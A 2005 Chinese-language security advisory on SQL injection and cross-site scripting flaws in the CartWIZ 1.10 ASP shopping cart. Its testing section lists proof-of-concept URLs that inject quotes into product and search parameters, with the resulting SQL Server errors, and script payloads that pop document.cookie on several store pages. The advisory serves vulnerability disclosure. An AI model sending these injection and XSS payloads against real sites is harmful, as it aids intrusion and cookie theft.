发布日期：2005-04-25
更新日期：2005-04-25

受影响系统：

CartWIZ CartWIZ 1.10

描述：

---

CVE(CAN) ID: CVE-2005-1291,CVE-2005-1292

CartWIZ是一款功能强大的网络购物软件组件。

CartWIZ ASP Cart中存在多个SQL注入和跨站脚本漏洞。

由于应用程序没有正确的过滤用户输入，远程攻击者可能利用这些漏洞执行任意代码或读取敏感信息。

<*来源：dcrab （dcrab@hackerscenter.com）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=111428393022389&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://localhost/cartWiz/store/addToCart.asp?idProduct='SQL_INJECTION&quantity=1
SQL INJECTION

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the \
character string 'SQL_INJECTION'.

/cartWiz/store/addToCart.asp, line 86


http://localhost/cartwiz/store/productDetails.asp?idProduct='SQL%20INJECTION
SQL INJECTION
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the \
character string 'SQL INJECTION'.

/cartwiz/store/productDetails.asp, line 34


http://localhost/cartwiz/store/searchResults.asp?name=&idCategory=&sku=&priceFrom=0&pr \
iceTo='SQL INJECTION&validate=1 SQL INJECTION

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near 'SQL'.

/cartwiz/store/searchResults.asp, line 102


http://localhost/cartwiz/store/searchResults.asp?name=&idCategory=&sku=&priceFrom='SQL \
INJECTION&priceTo=9999999999&validate=1 SQL INJECTION

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near 'SQL'.

/cartwiz/store/searchResults.asp, line 102


http://localhost/cartwiz/store/searchResults.asp?name=&idCategory='SQL \
INJECTION&sku=&priceFrom=0&priceTo=9999999999&validate=1 SQL INJECTION

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' or \
products.briefDescription LIKE '.

/cartwiz/store/searchResults.asp, line 102


http://localhost/cartwiz/store/tellAFriend.asp?idProduct='">&lt;script&gt;alert(docume \
nt.cookie)&lt;/script&gt; XSS Pops Cookie


http://localhost/cartwiz/store/addToWishlist.asp?idProduct='">&lt;script&gt;alert(docu \
ment.cookie)&lt;/script&gt; XSS Pops Cookie


http://localhost/cartwiz/store/access.asp?redirect='">&lt;script&gt;alert(document.coo \
kie)&lt;/script&gt; XSS Pops Cookie


http://localhost/cartWiz/store/error.asp?message='">&lt;script&gt;alert(document.cooki \
e)&lt;/script&gt; XSS Pops Cookie


http://localhost/cartwiz/store/login.asp?message=Please+login+using+the+form+above+to+ \
access+your+account.&redirect='">&lt;script&gt;alert(document.cookie)&lt;/script&gt; \
XSS Pops Cookie


http://localhost/cartwiz/store/login.asp?message='">&lt;script&gt;alert(document.cooki \
e)&lt;/script&gt;&redirect= XSS Pops Cookie


http://localhost/cartwiz/store/searchResults.asp?name=&idCategory=&sku='%22%3E%3Cscrip \
t%3Ealert(document.cookie)%3C/script%3E&priceFrom=0&priceTo=9999999999&validate=1 XSS \
Pops Cookie


http://localhost/cartwiz/store/searchResults.asp?name='">&lt;script&gt;alert(document. \
cookie)&lt;/script&gt;&idCategory=&sku=&priceFrom=0&priceTo=9999999999&validate=1 XSS \
Pops Cookie



http://localhost/cartwiz/store/productCatalogSubCats.asp?idParentCategory='SQL ERROR
SQL ERROR

Microsoft VBScript runtime  error '800a000d'

Type mismatch: '[string: "'SQL ERROR"]'

/cartwiz/store/productCatalogSubCats.asp, line 87

建议：

---

厂商补丁：

CartWIZ
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.cartwiz.com/

浏览次数：3828
严重程度：0（网友投票）